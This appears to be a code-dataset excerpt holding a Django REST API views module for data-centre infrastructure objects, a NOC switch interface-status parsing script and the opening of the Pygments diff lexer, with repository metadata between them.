ConsolePortTemplateViewSet(ModelViewSet): queryset = ConsolePortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.ConsolePortTemplateSerializer filterset_class = filters.ConsolePortTemplateFilterSet class ConsoleServerPortTemplateViewSet(ModelViewSet): queryset = ConsoleServerPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.ConsoleServerPortTemplateSerializer filterset_class = filters.ConsoleServerPortTemplateFilterSet class PowerPortTemplateViewSet(ModelViewSet): queryset = PowerPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.PowerPortTemplateSerializer filterset_class = filters.PowerPortTemplateFilterSet class PowerOutletTemplateViewSet(ModelViewSet): queryset = PowerOutletTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.PowerOutletTemplateSerializer filterset_class = filters.PowerOutletTemplateFilterSet class InterfaceTemplateViewSet(ModelViewSet): queryset = InterfaceTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.InterfaceTemplateSerializer filterset_class = filters.InterfaceTemplateFilterSet class FrontPortTemplateViewSet(ModelViewSet): queryset = FrontPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.FrontPortTemplateSerializer filterset_class = filters.FrontPortTemplateFilterSet class RearPortTemplateViewSet(ModelViewSet): queryset = RearPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.RearPortTemplateSerializer filterset_class = filters.RearPortTemplateFilterSet class DeviceBayTemplateViewSet(ModelViewSet): queryset = DeviceBayTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.DeviceBayTemplateSerializer filterset_class = filters.DeviceBayTemplateFilterSet # # Device roles # class DeviceRoleViewSet(ModelViewSet): queryset = DeviceRole.objects.annotate( device_count=get_subquery(Device, 'device_role'), virtualmachine_count=get_subquery(VirtualMachine, 'role') ) serializer_class = serializers.DeviceRoleSerializer filterset_class = filters.DeviceRoleFilterSet # # Platforms # class PlatformViewSet(ModelViewSet): queryset = Platform.objects.annotate( device_count=get_subquery(Device, 'platform'), virtualmachine_count=get_subquery(VirtualMachine, 'platform') ) serializer_class = serializers.PlatformSerializer filterset_class = filters.PlatformFilterSet # # Devices # class DeviceViewSet(CustomFieldModelViewSet): queryset = Device.objects.prefetch_related( 'device_type__manufacturer', 'device_role', 'tenant', 'platform', 'site', 'rack', 'parent_bay', 'virtual_chassis__master', 'primary_ip4__nat_outside', 'primary_ip6__nat_outside', 'tags', ) filterset_class = filters.DeviceFilterSet def get_serializer_class(self): """ Select the specific serializer based on the request context. If the `brief` query param equates to True, return the NestedDeviceSerializer If the `exclude` query param includes `config_context` as a value, return the DeviceSerializer Else, return the DeviceWithConfigContextSerializer """ request = self.get_serializer_context()['request'] if request.query_params.get('brief', False): return serializers.NestedDeviceSerializer elif 'config_context' in request.query_params.get('exclude', []): return serializers.DeviceSerializer return serializers.DeviceWithConfigContextSerializer @action(detail=True) def graphs(self, request, pk): """ A convenience method for rendering graphs for a particular Device. """ device = get_object_or_404(Device, pk=pk) queryset = Graph.objects.filter(type__model='device') serializer = RenderedGraphSerializer(queryset, many=True, context={'graphed_object': device}) return Response(serializer.data) @swagger_auto_schema( manual_parameters=[ Parameter( name='method', in_='query', required=True, type=openapi.TYPE_STRING ) ], responses={'200': serializers.DeviceNAPALMSerializer} ) @action(detail=True, url_path='napalm') def napalm(self, request, pk): """ Execute a NAPALM method on a Device """ device = get_object_or_404(Device, pk=pk) if not device.primary_ip: raise ServiceUnavailable("This device does not have a primary IP address configured.") if device.platform is None: raise ServiceUnavailable("No platform is configured for this device.") if not device.platform.napalm_driver: raise ServiceUnavailable("No NAPALM driver is configured for this device's platform ().".format( device.platform )) # Check that NAPALM is installed try: import napalm from napalm.base.exceptions import ModuleImportError except ImportError: raise ServiceUnavailable("NAPALM is not installed. Please see the documentation for instructions.") # Validate the configured driver try: driver = napalm.get_network_driver(device.platform.napalm_driver) except ModuleImportError: raise ServiceUnavailable("NAPALM driver for platform {} not found: {}.".format( device.platform, device.platform.napalm_driver )) # Verify user permission if not request.user.has_perm('dcim.napalm_read'): return HttpResponseForbidden() # Connect to the device napalm_methods = request.GET.getlist('method') response = OrderedDict([(m, None) for m in napalm_methods]) ip_address = str(device.primary_ip.address.ip) username = settings.NAPALM_USERNAME password = settings.NAPALM_PASSWORD optional_args = settings.NAPALM_ARGS.copy() if device.platform.napalm_args is not None: optional_args.update(device.platform.napalm_args) # Update NAPALM parameters according to the request headers for header in request.headers: if header[:9].lower() != 'x-napalm-': continue key = header[9:] if key.lower() == 'username': username = request.headers[header] elif key.lower() == 'password': password = request.headers[header] elif key: optional_args[key.lower()] = request.headers[header] d = driver( hostname=ip_address, username=username, password=password, timeout=settings.NAPALM_TIMEOUT, optional_args=optional_args ) try: d.open() except Exception as e: raise ServiceUnavailable("Error connecting to the device at {}: {}".format(ip_address, e)) # Validate and execute each specified NAPALM method for method in napalm_methods: if not hasattr(driver, method): response[method] = {'error': 'Unknown NAPALM method'} continue if not method.startswith('get_'): response[method] = {'error': 'Only get_* NAPALM methods are supported'} continue try: response[method] = getattr(d, method)() except NotImplementedError: response[method] = {'error': 'Method {} not implemented for NAPALM driver {}'.format(method, driver)} except Exception as e: response[method] = {'error': 'Method {} failed: {}'.format(method, e)} d.close() return Response(response) # # Device components # class ConsolePortViewSet(CableTraceMixin, ModelViewSet): queryset = ConsolePort.objects.prefetch_related('device', 'connected_endpoint__device', 'cable', 'tags') serializer_class = serializers.ConsolePortSerializer filterset_class = filters.ConsolePortFilterSet class ConsoleServerPortViewSet(CableTraceMixin, ModelViewSet): queryset = ConsoleServerPort.objects.prefetch_related('device', 'connected_endpoint__device', 'cable', 'tags') serializer_class = serializers.ConsoleServerPortSerializer filterset_class = filters.ConsoleServerPortFilterSet class PowerPortViewSet(CableTraceMixin, ModelViewSet): queryset = PowerPort.objects.prefetch_related( 'device', '_connected_poweroutlet__device', '_connected_powerfeed', 'cable', 'tags' ) serializer_class = serializers.PowerPortSerializer filterset_class = filters.PowerPortFilterSet class PowerOutletViewSet(CableTraceMixin, ModelViewSet): queryset = PowerOutlet.objects.prefetch_related('device', 'connected_endpoint__device', 'cable', 'tags') serializer_class = serializers.PowerOutletSerializer filterset_class = filters.PowerOutletFilterSet class InterfaceViewSet(CableTraceMixin, ModelViewSet): queryset = Interface.objects.prefetch_related( 'device', '_connected_interface', '_connected_circuittermination', 'cable', 'ip_addresses', 'tags' ).filter( device__isnull=False ) serializer_class = serializers.InterfaceSerializer filterset_class = filters.InterfaceFilterSet @action(detail=True) def graphs(self, request, pk): """ A convenience method for rendering graphs for a particular interface. """ interface = get_object_or_404(Interface, pk=pk) queryset = Graph.objects.filter(type__model='interface') serializer = RenderedGraphSerializer(queryset, many=True, context={'graphed_object': interface}) return Response(serializer.data) class FrontPortViewSet(CableTraceMixin, ModelViewSet): queryset = FrontPort.objects.prefetch_related('device__device_type__manufacturer', 'rear_port', 'cable', 'tags') serializer_class = serializers.FrontPortSerializer filterset_class = filters.FrontPortFilterSet class RearPortViewSet(CableTraceMixin, ModelViewSet): queryset = RearPort.objects.prefetch_related('device__device_type__manufacturer', 'cable', 'tags') serializer_class = serializers.RearPortSerializer filterset_class = filters.RearPortFilterSet class DeviceBayViewSet(ModelViewSet): queryset = DeviceBay.objects.prefetch_related('installed_device').prefetch_related('tags') serializer_class = serializers.DeviceBaySerializer filterset_class = filters.DeviceBayFilterSet class InventoryItemViewSet(ModelViewSet): queryset = InventoryItem.objects.prefetch_related('device', 'manufacturer').prefetch_related('tags') serializer_class = serializers.InventoryItemSerializer filterset_class = filters.InventoryItemFilterSet # # Connections # class ConsoleConnectionViewSet(ListModelMixin, GenericViewSet): queryset = ConsolePort.objects.prefetch_related( 'device', 'connected_endpoint__device' ).filter( connected_endpoint__isnull=False ) serializer_class = serializers.ConsolePortSerializer filterset_class = filters.ConsoleConnectionFilterSet class PowerConnectionViewSet(ListModelMixin, GenericViewSet): queryset = PowerPort.objects.prefetch_related( 'device', 'connected_endpoint__device' ).filter( _connected_poweroutlet__isnull=False ) serializer_class = serializers.PowerPortSerializer filterset_class = filters.PowerConnectionFilterSet class InterfaceConnectionViewSet(ListModelMixin, GenericViewSet): queryset = Interface.objects.prefetch_related( 'device', '_connected_interface__device' ).filter( # Avoid duplicate connections by only selecting the lower PK in a connected pair _connected_interface__isnull=False, pk__lt=F('_connected_interface') ) serializer_class = serializers.InterfaceConnectionSerializer filterset_class = filters.InterfaceConnectionFilterSet # # Cables # class CableViewSet(ModelViewSet): queryset = Cable.objects.prefetch_related( 'termination_a', 'termination_b' ) serializer_class = serializers.CableSerializer filterset_class = filters.CableFilterSet # # Virtual chassis # class VirtualChassisViewSet(ModelViewSet): queryset = VirtualChassis.objects.prefetch_related('tags').annotate( member_count=Count('members') ) serializer_class = serializers.VirtualChassisSerializer filterset_class = filters.VirtualChassisFilterSet # # Power panels # class PowerPanelViewSet(ModelViewSet): queryset = PowerPanel.objects.prefetch_related( 'site', 'rack_group' ).annotate( powerfeed_count=Count('powerfeeds') ) serializer_class = serializers.PowerPanelSerializer filterset_class = filters.PowerPanelFilterSet # # Power feeds # class PowerFeedViewSet(CustomFieldModelViewSet): queryset = PowerFeed.objects.prefetch_related('power_panel', 'rack', 'tags') serializer_class = serializers.PowerFeedSerializer filterset_class = filters.PowerFeedFilterSet # # Miscellaneous # class ConnectedDeviceViewSet(ViewSet): """ This endpoint allows a user to determine what device (if any) is connected to a given peer device and peer interface. This is useful in a situation where a device boots with no configuration, but can detect its neighbors via a protocol such as LLDP. Two query parameters must be included in the request: * `peer_device`: The name of the peer device * `peer_interface`: The name of the peer interface """ permission_classes = [IsAuthenticatedOrLoginNotRequired] _device_param = Parameter( name='peer_device', in_='query', description='The name of the peer device', required=True, type=openapi.TYPE_STRING ) _interface_param = Parameter( name='peer_interface', in_='query', description='The name of the peer interface', required=True, type=openapi.TYPE_STRING ) def get_view_name(self): return "Connected Device Locator" @swagger_auto_schema( manual_parameters=[_device_param, _interface_param], responses={'200': serializers.DeviceSerializer} ) def list(self, request): peer_device_name = request.query_params.get(self._device_param.name) peer_interface_name = request.query_params.get(self._interface_param.name) if not peer_device_name or not peer_interface_name: raise MissingFilterException(detail='Request must include "peer_device" and "peer_interface" filters.') # Determine local interface from peer interface's connection peer_interface = get_object_or_404(Interface, device__name=peer_device_name, name=peer_interface_name) local_interface = peer_interface._connected_interface if local_interface is None: return Response() return Response(serializers.DeviceSerializer(local_interface.device, context={'request': request}).data)

35.027068

117

0.710814

from collections import OrderedDict from django.conf import settings from django.db.models import Count, F from django.http import HttpResponseForbidden, HttpResponse from django.shortcuts import get_object_or_404 from drf_yasg import openapi from drf_yasg.openapi import Parameter from drf_yasg.utils import swagger_auto_schema from rest_framework.decorators import action from rest_framework.mixins import ListModelMixin from rest_framework.response import Response from rest_framework.viewsets import GenericViewSet, ViewSet from circuits.models import Circuit from dcim import filters from dcim.models import ( Cable, ConsolePort, ConsolePortTemplate, ConsoleServerPort, ConsoleServerPortTemplate, Device, DeviceBay, DeviceBayTemplate, DeviceRole, DeviceType, FrontPort, FrontPortTemplate, Interface, InterfaceTemplate, Manufacturer, InventoryItem, Platform, PowerFeed, PowerOutlet, PowerOutletTemplate, PowerPanel, PowerPort, PowerPortTemplate, Rack, RackGroup, RackReservation, RackRole, RearPort, RearPortTemplate, Region, Site, VirtualChassis, ) from extras.api.serializers import RenderedGraphSerializer from extras.api.views import CustomFieldModelViewSet from extras.models import Graph from ipam.models import Prefix, VLAN from utilities.api import ( get_serializer_for_model, IsAuthenticatedOrLoginNotRequired, ModelViewSet, ServiceUnavailable, ) from utilities.utils import get_subquery from virtualization.models import VirtualMachine from . import serializers from .exceptions import MissingFilterException class CableTraceMixin(object): @action(detail=True, url_path='trace') def trace(self, request, pk): obj = get_object_or_404(self.queryset.model, pk=pk) path = [] for near_end, cable, far_end in obj.trace()[0]: serializer_a = get_serializer_for_model(near_end, prefix='Nested') x = serializer_a(near_end, context={'request': request}).data if cable is not None: y = serializers.TracedCableSerializer(cable, context={'request': request}).data else: y = None if far_end is not None: serializer_b = get_serializer_for_model(far_end, prefix='Nested') z = serializer_b(far_end, context={'request': request}).data else: z = None path.append((x, y, z)) return Response(path) class RegionViewSet(ModelViewSet): queryset = Region.objects.annotate( site_count=Count('sites') ) serializer_class = serializers.RegionSerializer filterset_class = filters.RegionFilterSet class SiteViewSet(CustomFieldModelViewSet): queryset = Site.objects.prefetch_related( 'region', 'tenant', 'tags' ).annotate( device_count=get_subquery(Device, 'site'), rack_count=get_subquery(Rack, 'site'), prefix_count=get_subquery(Prefix, 'site'), vlan_count=get_subquery(VLAN, 'site'), circuit_count=get_subquery(Circuit, 'terminations__site'), virtualmachine_count=get_subquery(VirtualMachine, 'cluster__site'), ) serializer_class = serializers.SiteSerializer filterset_class = filters.SiteFilterSet @action(detail=True) def graphs(self, request, pk): site = get_object_or_404(Site, pk=pk) queryset = Graph.objects.filter(type__model='site') serializer = RenderedGraphSerializer(queryset, many=True, context={'graphed_object': site}) return Response(serializer.data) class RackGroupViewSet(ModelViewSet): queryset = RackGroup.objects.prefetch_related('site').annotate( rack_count=Count('racks') ) serializer_class = serializers.RackGroupSerializer filterset_class = filters.RackGroupFilterSet class RackRoleViewSet(ModelViewSet): queryset = RackRole.objects.annotate( rack_count=Count('racks') ) serializer_class = serializers.RackRoleSerializer filterset_class = filters.RackRoleFilterSet class RackViewSet(CustomFieldModelViewSet): queryset = Rack.objects.prefetch_related( 'site', 'group__site', 'role', 'tenant', 'tags' ).annotate( device_count=get_subquery(Device, 'rack'), powerfeed_count=get_subquery(PowerFeed, 'rack') ) serializer_class = serializers.RackSerializer filterset_class = filters.RackFilterSet @swagger_auto_schema( responses={200: serializers.RackUnitSerializer(many=True)}, query_serializer=serializers.RackElevationDetailFilterSerializer ) @action(detail=True) def elevation(self, request, pk=None): rack = get_object_or_404(Rack, pk=pk) serializer = serializers.RackElevationDetailFilterSerializer(data=request.GET) if not serializer.is_valid(): return Response(serializer.errors, 400) data = serializer.validated_data if data['render'] == 'svg': drawing = rack.get_elevation_svg( face=data['face'], unit_width=data['unit_width'], unit_height=data['unit_height'], legend_width=data['legend_width'], include_images=data['include_images'], base_url=request.build_absolute_uri('/') ) return HttpResponse(drawing.tostring(), content_type='image/svg+xml') else: elevation = rack.get_rack_units( face=data['face'], exclude=data['exclude'], expand_devices=data['expand_devices'] ) q = data['q'] if q: elevation = [u for u in elevation if q in str(u['id']) or q in str(u['name'])] page = self.paginate_queryset(elevation) if page is not None: rack_units = serializers.RackUnitSerializer(page, many=True, context={'request': request}) return self.get_paginated_response(rack_units.data) class RackReservationViewSet(ModelViewSet): queryset = RackReservation.objects.prefetch_related('rack', 'user', 'tenant') serializer_class = serializers.RackReservationSerializer filterset_class = filters.RackReservationFilterSet def perform_create(self, serializer): serializer.save(user=self.request.user) class ManufacturerViewSet(ModelViewSet): queryset = Manufacturer.objects.annotate( devicetype_count=get_subquery(DeviceType, 'manufacturer'), inventoryitem_count=get_subquery(InventoryItem, 'manufacturer'), platform_count=get_subquery(Platform, 'manufacturer') ) serializer_class = serializers.ManufacturerSerializer filterset_class = filters.ManufacturerFilterSet class DeviceTypeViewSet(CustomFieldModelViewSet): queryset = DeviceType.objects.prefetch_related('manufacturer').prefetch_related('tags').annotate( device_count=Count('instances') ) serializer_class = serializers.DeviceTypeSerializer filterset_class = filters.DeviceTypeFilterSet class ConsolePortTemplateViewSet(ModelViewSet): queryset = ConsolePortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.ConsolePortTemplateSerializer filterset_class = filters.ConsolePortTemplateFilterSet class ConsoleServerPortTemplateViewSet(ModelViewSet): queryset = ConsoleServerPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.ConsoleServerPortTemplateSerializer filterset_class = filters.ConsoleServerPortTemplateFilterSet class PowerPortTemplateViewSet(ModelViewSet): queryset = PowerPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.PowerPortTemplateSerializer filterset_class = filters.PowerPortTemplateFilterSet class PowerOutletTemplateViewSet(ModelViewSet): queryset = PowerOutletTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.PowerOutletTemplateSerializer filterset_class = filters.PowerOutletTemplateFilterSet class InterfaceTemplateViewSet(ModelViewSet): queryset = InterfaceTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.InterfaceTemplateSerializer filterset_class = filters.InterfaceTemplateFilterSet class FrontPortTemplateViewSet(ModelViewSet): queryset = FrontPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.FrontPortTemplateSerializer filterset_class = filters.FrontPortTemplateFilterSet class RearPortTemplateViewSet(ModelViewSet): queryset = RearPortTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.RearPortTemplateSerializer filterset_class = filters.RearPortTemplateFilterSet class DeviceBayTemplateViewSet(ModelViewSet): queryset = DeviceBayTemplate.objects.prefetch_related('device_type__manufacturer') serializer_class = serializers.DeviceBayTemplateSerializer filterset_class = filters.DeviceBayTemplateFilterSet class DeviceRoleViewSet(ModelViewSet): queryset = DeviceRole.objects.annotate( device_count=get_subquery(Device, 'device_role'), virtualmachine_count=get_subquery(VirtualMachine, 'role') ) serializer_class = serializers.DeviceRoleSerializer filterset_class = filters.DeviceRoleFilterSet class PlatformViewSet(ModelViewSet): queryset = Platform.objects.annotate( device_count=get_subquery(Device, 'platform'), virtualmachine_count=get_subquery(VirtualMachine, 'platform') ) serializer_class = serializers.PlatformSerializer filterset_class = filters.PlatformFilterSet class DeviceViewSet(CustomFieldModelViewSet): queryset = Device.objects.prefetch_related( 'device_type__manufacturer', 'device_role', 'tenant', 'platform', 'site', 'rack', 'parent_bay', 'virtual_chassis__master', 'primary_ip4__nat_outside', 'primary_ip6__nat_outside', 'tags', ) filterset_class = filters.DeviceFilterSet def get_serializer_class(self): request = self.get_serializer_context()['request'] if request.query_params.get('brief', False): return serializers.NestedDeviceSerializer elif 'config_context' in request.query_params.get('exclude', []): return serializers.DeviceSerializer return serializers.DeviceWithConfigContextSerializer @action(detail=True) def graphs(self, request, pk): device = get_object_or_404(Device, pk=pk) queryset = Graph.objects.filter(type__model='device') serializer = RenderedGraphSerializer(queryset, many=True, context={'graphed_object': device}) return Response(serializer.data) @swagger_auto_schema( manual_parameters=[ Parameter( name='method', in_='query', required=True, type=openapi.TYPE_STRING ) ], responses={'200': serializers.DeviceNAPALMSerializer} ) @action(detail=True, url_path='napalm') def napalm(self, request, pk): device = get_object_or_404(Device, pk=pk) if not device.primary_ip: raise ServiceUnavailable("This device does not have a primary IP address configured.") if device.platform is None: raise ServiceUnavailable("No platform is configured for this device.") if not device.platform.napalm_driver: raise ServiceUnavailable("No NAPALM driver is configured for this device's platform ().".format( device.platform )) # Check that NAPALM is installed try: import napalm from napalm.base.exceptions import ModuleImportError except ImportError: raise ServiceUnavailable("NAPALM is not installed. Please see the documentation for instructions.") # Validate the configured driver try: driver = napalm.get_network_driver(device.platform.napalm_driver) except ModuleImportError: raise ServiceUnavailable("NAPALM driver for platform {} not found: {}.".format( device.platform, device.platform.napalm_driver )) # Verify user permission if not request.user.has_perm('dcim.napalm_read'): return HttpResponseForbidden() # Connect to the device napalm_methods = request.GET.getlist('method') response = OrderedDict([(m, None) for m in napalm_methods]) ip_address = str(device.primary_ip.address.ip) username = settings.NAPALM_USERNAME password = settings.NAPALM_PASSWORD optional_args = settings.NAPALM_ARGS.copy() if device.platform.napalm_args is not None: optional_args.update(device.platform.napalm_args) # Update NAPALM parameters according to the request headers for header in request.headers: if header[:9].lower() != 'x-napalm-': continue key = header[9:] if key.lower() == 'username': username = request.headers[header] elif key.lower() == 'password': password = request.headers[header] elif key: optional_args[key.lower()] = request.headers[header] d = driver( hostname=ip_address, username=username, password=password, timeout=settings.NAPALM_TIMEOUT, optional_args=optional_args ) try: d.open() except Exception as e: raise ServiceUnavailable("Error connecting to the device at {}: {}".format(ip_address, e)) # Validate and execute each specified NAPALM method for method in napalm_methods: if not hasattr(driver, method): response[method] = {'error': 'Unknown NAPALM method'} continue if not method.startswith('get_'): response[method] = {'error': 'Only get_* NAPALM methods are supported'} continue try: response[method] = getattr(d, method)() except NotImplementedError: response[method] = {'error': 'Method {} not implemented for NAPALM driver {}'.format(method, driver)} except Exception as e: response[method] = {'error': 'Method {} failed: {}'.format(method, e)} d.close() return Response(response) # # Device components # class ConsolePortViewSet(CableTraceMixin, ModelViewSet): queryset = ConsolePort.objects.prefetch_related('device', 'connected_endpoint__device', 'cable', 'tags') serializer_class = serializers.ConsolePortSerializer filterset_class = filters.ConsolePortFilterSet class ConsoleServerPortViewSet(CableTraceMixin, ModelViewSet): queryset = ConsoleServerPort.objects.prefetch_related('device', 'connected_endpoint__device', 'cable', 'tags') serializer_class = serializers.ConsoleServerPortSerializer filterset_class = filters.ConsoleServerPortFilterSet class PowerPortViewSet(CableTraceMixin, ModelViewSet): queryset = PowerPort.objects.prefetch_related( 'device', '_connected_poweroutlet__device', '_connected_powerfeed', 'cable', 'tags' ) serializer_class = serializers.PowerPortSerializer filterset_class = filters.PowerPortFilterSet class PowerOutletViewSet(CableTraceMixin, ModelViewSet): queryset = PowerOutlet.objects.prefetch_related('device', 'connected_endpoint__device', 'cable', 'tags') serializer_class = serializers.PowerOutletSerializer filterset_class = filters.PowerOutletFilterSet class InterfaceViewSet(CableTraceMixin, ModelViewSet): queryset = Interface.objects.prefetch_related( 'device', '_connected_interface', '_connected_circuittermination', 'cable', 'ip_addresses', 'tags' ).filter( device__isnull=False ) serializer_class = serializers.InterfaceSerializer filterset_class = filters.InterfaceFilterSet @action(detail=True) def graphs(self, request, pk): interface = get_object_or_404(Interface, pk=pk) queryset = Graph.objects.filter(type__model='interface') serializer = RenderedGraphSerializer(queryset, many=True, context={'graphed_object': interface}) return Response(serializer.data) class FrontPortViewSet(CableTraceMixin, ModelViewSet): queryset = FrontPort.objects.prefetch_related('device__device_type__manufacturer', 'rear_port', 'cable', 'tags') serializer_class = serializers.FrontPortSerializer filterset_class = filters.FrontPortFilterSet class RearPortViewSet(CableTraceMixin, ModelViewSet): queryset = RearPort.objects.prefetch_related('device__device_type__manufacturer', 'cable', 'tags') serializer_class = serializers.RearPortSerializer filterset_class = filters.RearPortFilterSet class DeviceBayViewSet(ModelViewSet): queryset = DeviceBay.objects.prefetch_related('installed_device').prefetch_related('tags') serializer_class = serializers.DeviceBaySerializer filterset_class = filters.DeviceBayFilterSet class InventoryItemViewSet(ModelViewSet): queryset = InventoryItem.objects.prefetch_related('device', 'manufacturer').prefetch_related('tags') serializer_class = serializers.InventoryItemSerializer filterset_class = filters.InventoryItemFilterSet # # Connections # class ConsoleConnectionViewSet(ListModelMixin, GenericViewSet): queryset = ConsolePort.objects.prefetch_related( 'device', 'connected_endpoint__device' ).filter( connected_endpoint__isnull=False ) serializer_class = serializers.ConsolePortSerializer filterset_class = filters.ConsoleConnectionFilterSet class PowerConnectionViewSet(ListModelMixin, GenericViewSet): queryset = PowerPort.objects.prefetch_related( 'device', 'connected_endpoint__device' ).filter( _connected_poweroutlet__isnull=False ) serializer_class = serializers.PowerPortSerializer filterset_class = filters.PowerConnectionFilterSet class InterfaceConnectionViewSet(ListModelMixin, GenericViewSet): queryset = Interface.objects.prefetch_related( 'device', '_connected_interface__device' ).filter( # Avoid duplicate connections by only selecting the lower PK in a connected pair _connected_interface__isnull=False, pk__lt=F('_connected_interface') ) serializer_class = serializers.InterfaceConnectionSerializer filterset_class = filters.InterfaceConnectionFilterSet # # Cables # class CableViewSet(ModelViewSet): queryset = Cable.objects.prefetch_related( 'termination_a', 'termination_b' ) serializer_class = serializers.CableSerializer filterset_class = filters.CableFilterSet # # Virtual chassis # class VirtualChassisViewSet(ModelViewSet): queryset = VirtualChassis.objects.prefetch_related('tags').annotate( member_count=Count('members') ) serializer_class = serializers.VirtualChassisSerializer filterset_class = filters.VirtualChassisFilterSet # # Power panels # class PowerPanelViewSet(ModelViewSet): queryset = PowerPanel.objects.prefetch_related( 'site', 'rack_group' ).annotate( powerfeed_count=Count('powerfeeds') ) serializer_class = serializers.PowerPanelSerializer filterset_class = filters.PowerPanelFilterSet # # Power feeds # class PowerFeedViewSet(CustomFieldModelViewSet): queryset = PowerFeed.objects.prefetch_related('power_panel', 'rack', 'tags') serializer_class = serializers.PowerFeedSerializer filterset_class = filters.PowerFeedFilterSet # # Miscellaneous # class ConnectedDeviceViewSet(ViewSet): permission_classes = [IsAuthenticatedOrLoginNotRequired] _device_param = Parameter( name='peer_device', in_='query', description='The name of the peer device', required=True, type=openapi.TYPE_STRING ) _interface_param = Parameter( name='peer_interface', in_='query', description='The name of the peer interface', required=True, type=openapi.TYPE_STRING ) def get_view_name(self): return "Connected Device Locator" @swagger_auto_schema( manual_parameters=[_device_param, _interface_param], responses={'200': serializers.DeviceSerializer} ) def list(self, request): peer_device_name = request.query_params.get(self._device_param.name) peer_interface_name = request.query_params.get(self._interface_param.name) if not peer_device_name or not peer_interface_name: raise MissingFilterException(detail='Request must include "peer_device" and "peer_interface" filters.') # Determine local interface from peer interface's connection peer_interface = get_object_or_404(Interface, device__name=peer_device_name, name=peer_interface_name) local_interface = peer_interface._connected_interface if local_interface is None: return Response() return Response(serializers.DeviceSerializer(local_interface.device, context={'request': request}).data)

true

f70193fe6ae26eba52826e7bbf17c7d0494676aa

1,305

py

Python

sa/profiles/Angtel/Topaz/get_interface_status.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

84

2017-10-22T11:01:39.000Z

2022-02-27T03:43:48.000Z

sa/profiles/Angtel/Topaz/get_interface_status.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

22

2017-12-11T07:21:56.000Z

2021-09-23T02:53:50.000Z

sa/profiles/Angtel/Topaz/get_interface_status.py

prorevizor/noc

37e44b8afc64318b10699c06a1138eee9e7d6a4e

[ "BSD-3-Clause" ]

23

2017-12-06T06:59:52.000Z

2022-02-24T00:02:25.000Z

# --------------------------------------------------------------------- # Angtel.Topaz.get_interface_status # --------------------------------------------------------------------- # Copyright (C) 2007-2019 The NOC Project # See LICENSE for details # --------------------------------------------------------------------- # Python modules import re # NOC modules from noc.core.script.base import BaseScript from noc.sa.interfaces.igetinterfacestatus import IGetInterfaceStatus class Script(BaseScript): name = "Angtel.Topaz.get_interface_status" interface = IGetInterfaceStatus cache = True rx_port = re.compile( r"^(?P<port>(?:Fa|Gi|Te|Po)\S+)\s+\S+\s+\S+\s+\S+\s+\S+\s+\S+\s+" r"(?P<oper_status>Up|Down|Not Present)", re.MULTILINE | re.IGNORECASE, ) def execute_cli(self, interface=None): r = [] v = self.cli("show interfaces status", cached=True) for match in self.rx_port.finditer(v): if (interface is not None) and (interface == match.group("port")): return [ {"interface": match.group("port"), "status": match.group("oper_status") == "Up"} ] r += [{"interface": match.group("port"), "status": match.group("oper_status") == "Up"}] return r

35.27027

100

0.508812

import re from noc.core.script.base import BaseScript from noc.sa.interfaces.igetinterfacestatus import IGetInterfaceStatus class Script(BaseScript): name = "Angtel.Topaz.get_interface_status" interface = IGetInterfaceStatus cache = True rx_port = re.compile( r"^(?P<port>(?:Fa|Gi|Te|Po)\S+)\s+\S+\s+\S+\s+\S+\s+\S+\s+\S+\s+" r"(?P<oper_status>Up|Down|Not Present)", re.MULTILINE | re.IGNORECASE, ) def execute_cli(self, interface=None): r = [] v = self.cli("show interfaces status", cached=True) for match in self.rx_port.finditer(v): if (interface is not None) and (interface == match.group("port")): return [ {"interface": match.group("port"), "status": match.group("oper_status") == "Up"} ] r += [{"interface": match.group("port"), "status": match.group("oper_status") == "Up"}] return r

true

f7019440290b694e69787f2fa909cb9fd6add0b0

4,873

py

Python

wandb/vendor/pygments/lexers/diff.py

dreamflasher/client

c8267f1c6b8b6970172d622bb8fbf7cc773d78b2

[ "MIT" ]

3,968

2017-08-23T21:27:19.000Z

2022-03-31T22:00:19.000Z

wandb/vendor/pygments/lexers/diff.py

dreamflasher/client

c8267f1c6b8b6970172d622bb8fbf7cc773d78b2

[ "MIT" ]

2,725

2017-04-17T00:29:15.000Z

2022-03-31T21:01:53.000Z

wandb/vendor/pygments/lexers/diff.py

dreamflasher/client

c8267f1c6b8b6970172d622bb8fbf7cc773d78b2

[ "MIT" ]

351

2018-04-08T19:39:34.000Z

2022-03-30T19:38:08.000Z

# -*- coding: utf-8 -*- """ pygments.lexers.diff ~~~~~~~~~~~~~~~~~~~~ Lexers for diff/patch formats. :copyright: Copyright 2006-2017 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ import re from pygments.lexer import RegexLexer, include, bygroups from pygments.token import Text, Comment, Operator, Keyword, Name, Generic, \ Literal __all__ = ['DiffLexer', 'DarcsPatchLexer', 'WDiffLexer'] class DiffLexer(RegexLexer): """ Lexer for unified or context-style diffs or patches. """ name = 'Diff' aliases = ['diff', 'udiff'] filenames = ['*.diff', '*.patch'] mimetypes = ['text/x-diff', 'text/x-patch'] tokens = { 'root': [ (r' .*\n', Text), (r'\+.*\n', Generic.Inserted), (r'-.*\n', Generic.Deleted), (r'!.*\n', Generic.Strong), (r'@.*\n', Generic.Subheading), (r'([Ii]ndex|diff).*\n', Generic.Heading), (r'=.*\n', Generic.Heading), (r'.*\n', Text), ] } def analyse_text(text): if text[:7] == 'Index: ': return True if text[:5] == 'diff ': return True if text[:4] == '--- ': return 0.9 class DarcsPatchLexer(RegexLexer): """ DarcsPatchLexer is a lexer for the various versions of the darcs patch format. Examples of this format are derived by commands such as ``darcs annotate 